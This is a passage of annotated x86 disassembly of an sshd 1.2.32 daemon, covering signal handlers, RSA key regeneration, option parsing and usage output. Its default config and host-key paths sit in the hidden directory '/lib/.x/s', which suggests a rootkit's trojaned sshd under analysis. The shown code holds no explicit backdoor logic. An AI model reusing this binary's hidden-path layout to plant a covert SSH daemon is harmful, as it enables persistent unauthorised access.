0804a60d   c7 05 c4 7b 07 08 01 00 00 00  movl   $0x1,0x8077bc4   ;1 'x1 x0 x0 x0' ""
0804a617   e8 20 f7 ff ff               call   08049d3c <signal>
0804a61c   c9                           leave
0804a61d   c3                           ret
0804a61e   89 f6                        mov    %esi,%esi
```

```
;
; >----------------------<  Subroutine #   3 >----------------------<
;
0804a620  55                           push    %ebp
0804a621  89 e5                        mov     %esp,%ebp
0804a623  83 ec 14                     sub     $0x14,%esp
0804a626  68 16 b6 06 08               push    $0x806b616   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                             SIGHUP; restarting."
0804a62b  e8 ec 55 00 00               call    0804fc1c <Unknown0036>
0804a630  5a                           pop     %edx
0804a631  ff 35 30 fc 07 08            pushl   0x807fc30    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a637  e8 a0 f6 ff ff               call    08049cdc <close>
0804a63c  59                           pop     %ecx
0804a63d  58                           pop     %eax
0804a63e  ff 35 38 fc 07 08            pushl   0x807fc38    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a644  a1 38 fc 07 08               mov     0x807fc38,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a649  ff 30                        pushl   (%eax)
0804a64b  e8 bc fa ff ff               call    0804a10c <execvp>
0804a650  e8 e7 f7 ff ff               call    08049e3c <__errno_location>
0804a655  5a                           pop     %edx
0804a656  ff 30                        pushl   (%eax)
0804a658  e8 8f f7 ff ff               call    08049dec <strerror>
0804a65d  83 c4 0c                     add     $0xc,%esp
0804a660  50                           push    %eax
0804a661  a1 38 fc 07 08               mov     0x807fc38,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a666  ff 30                        pushl   (%eax)
0804a668  68 40 b6 06 08               push    $0x806b640   ;[in .rodata] 1414743378 'x52 x45 x53 x54' "RESTART
                                                             FAILED: av[0]='%.100s', error: %.100s."
0804a66d  e8 aa 55 00 00               call    0804fc1c <Unknown0036>
0804a672  c7 04 24 01 00 00 00         movl    $0x1,(%esp,1)    ;1 'x1 x0 x0 x0' ""
0804a679  e8 ce fc ff ff               call    0804a34c <exit>
0804a67e  89 f6                        mov     %esi,%esi
0804a680  55                           push    %ebp
0804a681  89 e5                        mov     %esp,%ebp
0804a683  83 ec 10                     sub     $0x10,%esp
0804a686  ff 75 08                     pushl   0x8(%ebp)
0804a689  68 80 b6 06 08               push    $0x806b680   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                             signal %d; terminating."
0804a68e  e8 89 55 00 00               call    0804fc1c <Unknown0036>
0804a693  59                           pop     %ecx
0804a694  ff 35 30 fc 07 08            pushl   0x807fc30    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a69a  e8 3d f6 ff ff               call    08049cdc <close>
0804a69f  83 c4 10                     add     $0x10,%esp
0804a6a2  c7 45 08 ff 00 00 00         movl    $0xff,0x8(%ebp)  ;255 'xff x0 x0 x0' ""
0804a6a9  c9                           leave
0804a6aa  e9 9d fc ff ff               jmp     0804a34c <exit>   ;-867 'x9d xfc xff xff' ""
0804a6af  90                           nop
0804a6b0  55                           push    %ebp
0804a6b1  89 e5                        mov     %esp,%ebp
0804a6b3  53                           push    %ebx
0804a6b4  52                           push    %edx
0804a6b5  8d 5d f8                     lea     0xfffffff8(%ebp),%ebx
0804a6b8  50                           push    %eax
0804a6b9  6a 01                        push    $0x1
0804a6bb  53                           push    %ebx
0804a6bc  6a ff                        push    $0xffffffff
0804a6be  e8 b9 f9 ff ff               call    0804a07c <waitpid>
0804a6c3  83 c4 10                     add     $0x10,%esp
0804a6c6  85 c0                        test    %eax,%eax
0804a6c8  7f ee                        jg      0804a6b8 <Unknown0001+0x18a>
0804a6ca  83 ec 08                     sub     $0x8,%esp
0804a6cd  68 b0 a6 04 08               push    $0x804a6b0   ;-867 'x9d xfc xff xff' ""
0804a6d2  6a 11                        push    $0x11
0804a6d4  e8 63 f6 ff ff               call    08049d3c <signal>
0804a6d9  8b 5d fc                     mov     0xfffffffc(%ebp),%ebx
0804a6dc  c9                           leave
0804a6dd  c3                           ret
0804a6de  89 f6                        mov     %esi,%esi

;
; >----------------------<  Subroutine #   4 >----------------------<
;
0804a6e0  55                           push    %ebp
0804a6e1  89 e5                        mov     %esp,%ebp
0804a6e3  83 ec 08                     sub     $0x8,%esp
0804a6e6  e8 91 b6 00 00               call    08055d7c <Unknown0131>
0804a6eb  83 ec 08                     sub     $0x8,%esp
0804a6ee  68 c0 b6 06 08               push    $0x806b6c0   ;[in .rodata] 1701669204 'x54 x69 x6d x65' "Timeout
                                                             before authentication."
0804a6f3  6a 01                        push    $0x1
0804a6f5  e8 f6 58 00 00               call    0804fff0 <Unknown0045>
0804a6fa  c9                           leave
0804a6fb  c3                           ret
```

```
  ;
  ; >---------------------<  Subroutine #   5 >---------------------<
  ;
0804a6fc <Unknown0005>:
0804a6fc  55                      push   %ebp
0804a6fd  89 e5                   mov    %esp,%ebp
0804a6ff  8b 0d c0 7b 07 08       mov    0x8077bc0,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804a705  83 ec 08                sub    $0x8,%esp
0804a708  85 c9                   test   %ecx,%ecx
0804a70a  74 70                   je     0804a77c <Unknown0005+0x80>
0804a70c  83 ec 08                sub    $0x8,%esp
0804a70f  ff 35 74 db 07 08       pushl  0x807db74   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a715  68 e0 b6 06 08          push   $0x806b6e0  ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generating
                                                           new %d bit RSA key."
0804a71a  e8 fd 54 00 00          call   0804fc1c <Unknown0036>
0804a71f  c7 04 24 40 fc 07 08    movl   $0x807fc40,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a726  e8 09 a1 00 00          call   08054834 <Unknown0102>
0804a72b  ff 35 74 db 07 08       pushl  0x807db74   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a731  68 40 fc 07 08          push   $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a736  68 40 db 07 08          push   $0x807db40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a73b  68 8c 00 08 08          push   $0x808008c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a740  e8 6b 98 00 00          call   08053fb0 <Unknown0090>
0804a745  83 c4 1c                add    $0x1c,%esp
0804a748  ff 35 6c db 07 08       pushl  0x807db6c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a74e  83 ec 08                sub    $0x8,%esp
0804a751  e8 76 fd ff ff          call   0804a4cc <geteuid>
0804a756  59                      pop    %ecx
0804a757  5a                      pop    %edx
0804a758  50                      push   %eax
0804a759  68 40 fc 07 08          push   $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a75e  e8 51 a8 00 00          call   08054fb4 <Unknown0108>
0804a763  c7 05 c0 7b 07 08 00 00 00 00  movl   $0x0,0x8077bc0   ;0 'x0 x0 x0 x0' ""
0804a76d  c7 04 24 ff b6 06 08    movl   $0x806b6ff,(%esp,1)  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                                    key generation complete."
0804a774  e8 a3 54 00 00          call   0804fc1c <Unknown0036>
0804a779  83 c4 10                add    $0x10,%esp
0804a77c  83 ec 08                sub    $0x8,%esp
0804a77f  68 fc a6 04 08          push   $0x804a6fc  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA key
                                                           generation complete."
0804a784  6a 0e                   push   $0xe
0804a786  e8 b1 f5 ff ff          call   08049d3c <signal>
0804a78b  a1 7c db 07 08          mov    0x807db7c,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a790  83 c4 10                add    $0x10,%esp
0804a793  89 45 08                mov    %eax,0x8(%ebp)
0804a796  c9                      leave
0804a797  e9 20 fd ff ff          jmp    0804a4bc <alarm>   ;-736 'x20 xfd xff xff' " "
0804a79c  55                      push   %ebp
0804a79d  89 e5                   mov    %esp,%ebp
0804a79f  57                      push   %edi
0804a7a0  56                      push   %esi
0804a7a1  53                      push   %ebx
0804a7a2  81 ec b4 01 00 00       sub    $0x1b4,%esp   ;436 'xb4 x1 x0 x0' ""
0804a7a8  6a 2f                   push   $0x2f
0804a7aa  8b 5d 0c                mov    0xc(%ebp),%ebx
0804a7ad  c7 85 58 fe ff ff 00 00 00 00  movl   $0x0,0xfffffe58(%ebp)   ;0 'x0 x0 x0 x0' ""
0804a7b7  c7 85 54 fe ff ff 00 00 00 00  movl   $0x0,0xfffffe54(%ebp)   ;0 'x0 x0 x0 x0' ""
0804a7c1  ff 33                   pushl  (%ebx)
0804a7c3  c7 85 70 fe ff ff 01 00 00 00  movl   $0x1,0xfffffe70(%ebp)   ;1 'x1 x0 x0 x0' ""
0804a7cd  89 1d 38 fc 07 08       mov    %ebx,0x807fc38   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a7d3  e8 84 f4 ff ff          call   08049c5c <strchr>
0804a7d8  83 c4 10                add    $0x10,%esp
0804a7db  85 c0                   test   %eax,%eax
0804a7dd  8b 75 08                mov    0x8(%ebp),%esi
0804a7e0  74 12                   je     0804a7f4 <Unknown0005+0xf8>
0804a7e2  83 ec 08                sub    $0x8,%esp
0804a7e5  6a 2f                   push   $0x2f
0804a7e7  ff 33                   pushl  (%ebx)
0804a7e9  e8 6e fa ff ff          call   0804a25c <strrchr>
0804a7ee  40                      inc    %eax
0804a7ef  83 c4 10                add    $0x10,%esp
0804a7f2  eb 02                   jmp    0804a7f6 <Unknown0005+0xfa>
0804a7f4  8b 03                   mov    (%ebx),%eax
0804a7f6  a3 34 fc 07 08          mov    %eax,0x807fc34   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a7fb  e8 20 4b 01 00          call   0805f320 <Unknown0294>
0804a800  83 ec 08                sub    $0x8,%esp
0804a803  6a 01                   push   $0x1
0804a805  6a 0d                   push   $0xd
0804a807  e8 30 f5 ff ff          call   08049d3c <signal>
0804a80c  c7 04 24 60 db 07 08    movl   $0x807db60,(%esp,1)  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a813  e8 c8 67 00 00          call   08050fe0 <Unknown0060>
0804a818  83 c4 10                add    $0x10,%esp
0804a81b  e9 08 02 00 00          jmp    0804aa28 <Unknown0005+0x32c>   ;520 'x8 x2 x0 x0' ""
```

```
0804a820  83 e8 3f                    sub     $0x3f,%eax
0804a823  83 f8 32                    cmp     $0x32,%eax
0804a826  0f 87 e8 00 00 00           ja      0804a914 <Unknown0005+0x218>  ;232 'xe8 x0 x0 x0' ""
0804a82c  ff 24 85 70 c0 06 08        jmp     *0x806c070(,%eax,4)  ;[in .rodata] 134523156 'x14 xa9 x4 x8' ""
0804a833  90                          nop
0804a834  a1 18 9c 07 08              mov     0x8079c18,%eax  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a839  a3 90 7b 07 08              mov     %eax,0x8077b90  ;[in .data] 134657536 'x0 xb6 x6 x8' ""
0804a83e  e9 e5 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;485 'xe5 x1 x0 x0' ""
0804a843  90                          nop
0804a844  c7 05 94 7b 07 08 01 00 00 00  movl  $0x1,0x8077b94  ;1 'x1 x0 x0 x0' ""
0804a84e  e9 d5 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;469 'xd5 x1 x0 x0' ""
0804a853  90                          nop
0804a854  c7 05 98 7b 07 08 01 00 00 00  movl  $0x1,0x8077b98  ;1 'x1 x0 x0 x0' ""
0804a85e  e9 c5 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;453 'xc5 x1 x0 x0' ""
0804a863  90                          nop
0804a864  c7 05 8c db 07 08 01 00 00 00  movl  $0x1,0x807db8c  ;1 'x1 x0 x0 x0' ""
0804a86e  e9 b5 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;437 'xb5 x1 x0 x0' ""
0804a873  90                          nop
0804a874  6a 00                       push    $0x0
0804a876  6a 0a                       push    $0xa
0804a878  6a 00                       push    $0x0
0804a87a  ff 35 18 9c 07 08           pushl   0x8079c18   ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a880  e8 77 f8 ff ff              call    0804a0fc <__strtol_internal>
0804a885  83 c4 10                    add     $0x10,%esp
0804a888  a3 74 db 07 08              mov     %eax,0x807db74  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a88d  e9 96 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;406 'x96 x1 x0 x0' ""
0804a892  89 f6                       mov     %esi,%esi
0804a894  6a 00                       push    $0x0
0804a896  6a 0a                       push    $0xa
0804a898  6a 00                       push    $0x0
0804a89a  ff 35 18 9c 07 08           pushl   0x8079c18   ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a8a0  e8 57 f8 ff ff              call    0804a0fc <__strtol_internal>
0804a8a5  83 c4 10                    add     $0x10,%esp
0804a8a8  a3 60 db 07 08              mov     %eax,0x807db60  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a8ad  e9 76 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;374 'x76 x1 x0 x0' "v"
0804a8b2  89 f6                       mov     %esi,%esi
0804a8b4  6a 00                       push    $0x0
0804a8b6  6a 0a                       push    $0xa
0804a8b8  6a 00                       push    $0x0
0804a8ba  ff 35 18 9c 07 08           pushl   0x8079c18   ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a8c0  e8 37 f8 ff ff              call    0804a0fc <__strtol_internal>
0804a8c5  83 c4 10                    add     $0x10,%esp
0804a8c8  a3 78 db 07 08              mov     %eax,0x807db78  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a8cd  e9 56 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;342 'x56 x1 x0 x0' "V"
0804a8d2  89 f6                       mov     %esi,%esi
0804a8d4  6a 00                       push    $0x0
0804a8d6  6a 0a                       push    $0xa
0804a8d8  6a 00                       push    $0x0
0804a8da  ff 35 18 9c 07 08           pushl   0x8079c18   ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a8e0  e8 17 f8 ff ff              call    0804a0fc <__strtol_internal>
0804a8e5  83 c4 10                    add     $0x10,%esp
0804a8e8  a3 7c db 07 08              mov     %eax,0x807db7c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a8ed  e9 36 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;310 'x36 x1 x0 x0' "6"
0804a8f2  89 f6                       mov     %esi,%esi
0804a8f4  a1 18 9c 07 08              mov     0x8079c18,%eax  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a8f9  a3 68 db 07 08              mov     %eax,0x807db68  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a8fe  e9 25 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;293 'x25 x1 x0 x0' "%"
0804a903  90                          nop
0804a904  a1 18 9c 07 08              mov     0x8079c18,%eax  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                  Linux 7.1 2.96-79)"
0804a909  89 85 54 fe ff ff           mov     %eax,0xfffffe54(%ebp)  ;-428 'x54 xfe xff xff' "T"
0804a90f  e9 14 01 00 00              jmp     0804aa28 <Unknown0005+0x32c>  ;276 'x14 x1 x0 x0' ""
0804a914  68 2e b7 06 08              push    $0x806b72e  ;[in .rodata] 909653353 'x69 x35 x38 x36'
                                                                  "i586-unknown-linux"
0804a919  68 41 b7 06 08              push    $0x806b741  ;[in .rodata] 775040561 'x31 x2e x32 x2e' "1.2.32"
0804a91e  68 48 b7 06 08              push    $0x806b748  ;[in .rodata] 1684566899 'x73 x73 x68 x64' "sshd
                                                                  version %s [%s]"
0804a923  ff 35 0c 9c 07 08           pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e 39 x36' "2.96 20000731
                                                                  (Red Hat Linux 7.1 2.96-79)"
0804a929  e8 ce f3 ff ff              call    08049cfc <fprintf>
0804a92e  83 c4 0c                    add     $0xc,%esp
0804a931  ff 35 34 fc 07 08           pushl   0x807fc34  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804a937  68 5e b7 06 08              push    $0x806b75e  ;[in .rodata] 1734439765 'x55 x73 x61 x67' "Usage: %s
                                                                  [options]"
0804a93c  ff 35 0c 9c 07 08           pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e 39 x36' "2.96 20000731
                                                                  (Red Hat Linux 7.1 2.96-79)"
0804a942  e8 b5 f3 ff ff              call    08049cfc <fprintf>
```

```
0804a947  5e                      pop     %esi
0804a948  5f                      pop     %edi
0804a949  68 73 b7 06 08          push    $0x806b773   ;[in .rodata] 1769238607 'x4f x70 x74 x69' "Options:"
0804a94e  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a954  e8 a3 f3 ff ff          call    08049cfc <fprintf>
0804a959  83 c4 0c                add     $0xc,%esp
0804a95c  68 7d b7 06 08          push    $0x806b77d   ;[in .rodata] 1651076143 'x2f x6c x69 x62' "/lib/.x/s"
0804a961  68 a0 b7 06 08          push    $0x806b7a0   ;[in .rodata] 1714233376 'x20 x20 x2d x66' "   -f file
                                                          Configuration file (default %s/sshd_config)"
0804a966  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a96c  e8 8b f3 ff ff          call    08049cfc <fprintf>
0804a971  59                      pop     %ecx
0804a972  5b                      pop     %ebx
0804a973  68 da b7 06 08          push    $0x806b7da   ;[in .rodata] 1680678944 'x20 x20 x2d x64' "   -d
                                                          Debugging mode"
0804a978  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a97e  e8 79 f3 ff ff          call    08049cfc <fprintf>
0804a983  58                      pop     %eax
0804a984  5a                      pop     %edx
0804a985  68 00 b8 06 08          push    $0x806b800   ;[in .rodata] 1764565024 'x20 x20 x2d x69' "   -i
                                                          Started from inetd"
0804a98a  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a990  e8 67 f3 ff ff          call    08049cfc <fprintf>
0804a995  5e                      pop     %esi
0804a996  5f                      pop     %edi
0804a997  68 40 b8 06 08          push    $0x806b840   ;[in .rodata] 1898782752 'x20 x20 x2d x71' "   -q
                                                          Quiet (no logging)"
0804a99c  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a9a2  e8 55 f3 ff ff          call    08049cfc <fprintf>
0804a9a7  59                      pop     %ecx
0804a9a8  5b                      pop     %ebx
0804a9a9  68 80 b8 06 08          push    $0x806b880   ;[in .rodata] 1882005536 'x20 x20 x2d x70' "   -p port
                                                          Listen on the specified port (default: 22)"
0804a9ae  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a9b4  e8 43 f3 ff ff          call    08049cfc <fprintf>
0804a9b9  58                      pop     %eax
0804a9ba  5a                      pop     %edx
0804a9bb  68 c0 b8 06 08          push    $0x806b8c0   ;[in .rodata] 1798119456 'x20 x20 x2d x6b' "   -k
                                                          seconds Regenerate server key every this many seconds
                                                          (default: 3600)"
0804a9c0  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a9c6  e8 31 f3 ff ff          call    08049cfc <fprintf>
0804a9cb  5e                      pop     %esi
0804a9cc  5f                      pop     %edi
0804a9cd  68 20 b9 06 08          push    $0x806b920   ;[in .rodata] 1731010592 'x20 x20 x2d x67' "   -g
                                                          seconds Grace period for authentication (default: 300)"
0804a9d2  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a9d8  e8 1f f3 ff ff          call    08049cfc <fprintf>
0804a9dd  59                      pop     %ecx
0804a9de  5b                      pop     %ebx
0804a9df  68 60 b9 06 08          push    $0x806b960   ;[in .rodata] 1647124512 'x20 x20 x2d x62' "   -b bits
                                                          Size of server RSA key (default: 768 bits)"
0804a9e4  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804a9ea  e8 0d f3 ff ff          call    08049cfc <fprintf>
0804a9ef  83 c4 0c                add     $0xc,%esp
0804a9f2  68 99 b9 06 08          push    $0x806b999   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                          "/lib/.x/s/ssh_host_key"
0804a9f7  68 c0 b9 06 08          push    $0x806b9c0   ;[in .rodata] 1747787808 'x20 x20 x2d x68' "   -h file
                                                          File from which to read host key (default: %s)"
0804a9fc  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804aa02  e8 f5 f2 ff ff          call    08049cfc <fprintf>
0804aa07  58                      pop     %eax
0804aa08  5a                      pop     %edx
0804aa09  68 00 ba 06 08          push    $0x806ba00   ;[in .rodata] 1445797920 'x20 x20 x2d x56' "   -V str
                                                          Remote version string already read from the socket"
0804aa0e  ff 35 0c 9c 07 08       pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804aa14  e8 e3 f2 ff ff          call    08049cfc <fprintf>
0804aa19  c7 04 24 01 00 00 00    movl    $0x1,(%esp,1)   ;l 'x1 x0 x0 x0' ""
0804aa20  e8 27 f9 ff ff          call    0804a34c <exit>
0804aa25  8d 76 00                lea     0x0(%esi),%esi
0804aa28  57                      push    %edi
```

```
0804aa29   68 1c b7 06 08         push    $0x806b71c   ;[in .rodata] 980433510 'x66 x3a x70 x3a'
                                                       "f:p:b:k:h:g:diqV:"
0804aa2e   53                     push    %ebx
0804aa2f   56                     push    %esi
0804aa30   e8 67 f6 ff ff         call    0804a09c <getopt>
0804aa35   83 c4 10               add     $0x10,%esp
0804aa38   83 f8 ff               cmp     $0xffffffff,%eax
0804aa3b   0f 85 df fd ff ff      jne     0804a820 <Unknown0005+0x124>   ;-545 'xdf xfd xff xff' ""
0804aa41   83 ec 08               sub     $0x8,%esp
0804aa44   ff 35 90 7b 07 08      pushl   0x8077b90    ;[in .data] 134657536 'x0 xb6 x6 x8' ""
0804aa4a   68 60 db 07 08         push    $0x807db60   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aa4f   e8 f0 69 00 00         call    08051444 <Unknown0063>
0804aa54   c7 04 24 60 db 07 08   movl    $0x807db60,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aa5b   e8 14 67 00 00         call    08051174 <Unknown0061>
0804aa60   a1 74 db 07 08         mov     0x807db74,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aa65   2d 00 02 00 00         sub     $0x200,%eax  ;512 'x0 x2 x0 x0' ""
0804aa6a   83 c4 10               add     $0x10,%esp
0804aa6d   3d 00 7e 00 00         cmp     $0x7e00,%eax  ;32256 'x0 x7e x0 x0' ""
0804aa72   76 20                  jbe     0804aa94 <Unknown0005+0x398>
0804aa74   83 ec 08               sub     $0x8,%esp
0804aa77   68 41 ba 06 08         push    $0x806ba41   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal: Bad
                                                        server key size."
0804aa7c   ff 35 0c 9c 07 08      pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804aa82   e8 75 f2 ff ff         call    08049cfc <fprintf>
0804aa87   c7 04 24 01 00 00 00   movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804aa8e   e8 b9 f8 ff ff         call    0804a34c <exit>
0804aa93   90                     nop
0804aa94   a1 60 db 07 08         mov     0x807db60,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aa99   48                     dec     %eax
0804aa9a   3d fe ff 00 00         cmp     $0xfffe,%eax  ;65534 'xfe xff x0 x0' ""
0804aa9f   76 1f                  jbe     0804aac0 <Unknown0005+0x3c4>
0804aaa1   83 ec 08               sub     $0x8,%esp
0804aaa4   68 5e ba 06 08         push    $0x806ba5e   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal: Bad
                                                        port number."
0804aaa9   ff 35 0c 9c 07 08      pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804aaaf   e8 48 f2 ff ff         call    08049cfc <fprintf>
0804aab4   c7 04 24 01 00 00 00   movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804aabb   e8 8c f8 ff ff         call    0804a34c <exit>
0804aac0   a1 e8 db 07 08         mov     0x807dbe8,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aac5   83 f8 ff               cmp     $0xffffffff,%eax
0804aac8   74 0c                  je      0804aad6 <Unknown0005+0x3da>
0804aaca   83 ec 0c               sub     $0xc,%esp
0804aacd   50                     push    %eax
0804aace   e8 59 f2 ff ff         call    08049d2c <umask>
0804aad3   83 c4 10               add     $0x10,%esp
0804aad6   a1 1c 9c 07 08         mov     0x8079c1c,%eax   ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                        Linux 7.1 2.96-79)"
0804aadb   39 f0                  cmp     %esi,%eax
0804aadd   7d 21                  jge     0804ab00 <Unknown0005+0x404>
0804aadf   56                     push    %esi
0804aae0   ff 34 83               pushl   (%ebx,%eax,4)
0804aae3   68 80 ba 06 08         push    $0x806ba80   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal:
                                                        Extra argument %.100s."
0804aae8   ff 35 0c 9c 07 08      pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804aaee   e8 09 f2 ff ff         call    08049cfc <fprintf>
0804aaf3   c7 04 24 01 00 00 00   movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804aafa   e8 4d f8 ff ff         call    0804a34c <exit>
0804aaff   90                     nop
0804ab00   83 ec 0c               sub     $0xc,%esp
0804ab03   a1 94 7b 07 08         mov     0x8077b94,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ab08   ff 35 ac db 07 08      pushl   0x807dbac    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab0e   31 d2                  xor     %edx,%edx
0804ab10   85 c0                  test    %eax,%eax
0804ab12   ff 35 8c db 07 08      pushl   0x807db8c    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab18   75 0a                  jne     0804ab24 <Unknown0005+0x428>
0804ab1a   8b 1d 90 db 07 08      mov     0x807db90,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab20   85 db                  test    %ebx,%ebx
0804ab22   74 05                  je      0804ab29 <Unknown0005+0x42d>
0804ab24   ba 01 00 00 00         mov     $0x1,%edx  ;1 'x1 x0 x0 x0' ""
0804ab29   52                     push    %edx
0804ab2a   31 d2                  xor     %edx,%edx
0804ab2c   85 c0                  test    %eax,%eax
0804ab2e   74 0f                  je      0804ab3f <Unknown0005+0x443>
0804ab30   8b 0d 98 7b 07 08      mov     0x8077b98,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ab36   85 c9                  test    %ecx,%ecx
0804ab38   75 05                  jne     0804ab3f <Unknown0005+0x443>
0804ab3a   ba 01 00 00 00         mov     $0x1,%edx  ;1 'x1 x0 x0 x0' ""
0804ab3f   52                     push    %edx
0804ab40   ff 35 34 fc 07 08      pushl   0x807fc34    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab46   e8 cd 4f 00 00         call    0804fb18 <Unknown0035>
```

```
0804ab4b  83 c4 18              add     $0x18,%esp
0804ab4e  ff 35 8c db 07 08     pushl   0x807db8c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab54  ff 35 94 7b 07 08     pushl   0x8077b94  ;[in .data] 0 'x0 x0 x0 x0' ""
0804ab5a  e8 fd bb 00 00        call    0805675c <Unknown0155>
0804ab5f  83 c4 0c              add     $0xc,%esp
0804ab62  68 2e b7 06 08        push    $0x806b72e ;[in .rodata] 909653353 'x69 x35 x38 x36'
                                                   "i586-unknown-linux"
0804ab67  68 41 b7 06 08        push    $0x806b741 ;[in .rodata] 775040561 'x31 x2e x32 x2e' "1.2.32"
0804ab6c  68 9f ba 06 08        push    $0x806ba9f ;[in .rodata] 1684566899 'x73 x73 x68 x64' "sshd
                                                   version %.100s [%.100s]"
0804ab71  e8 0a 52 00 00        call    0804fd80 <Unknown0039>
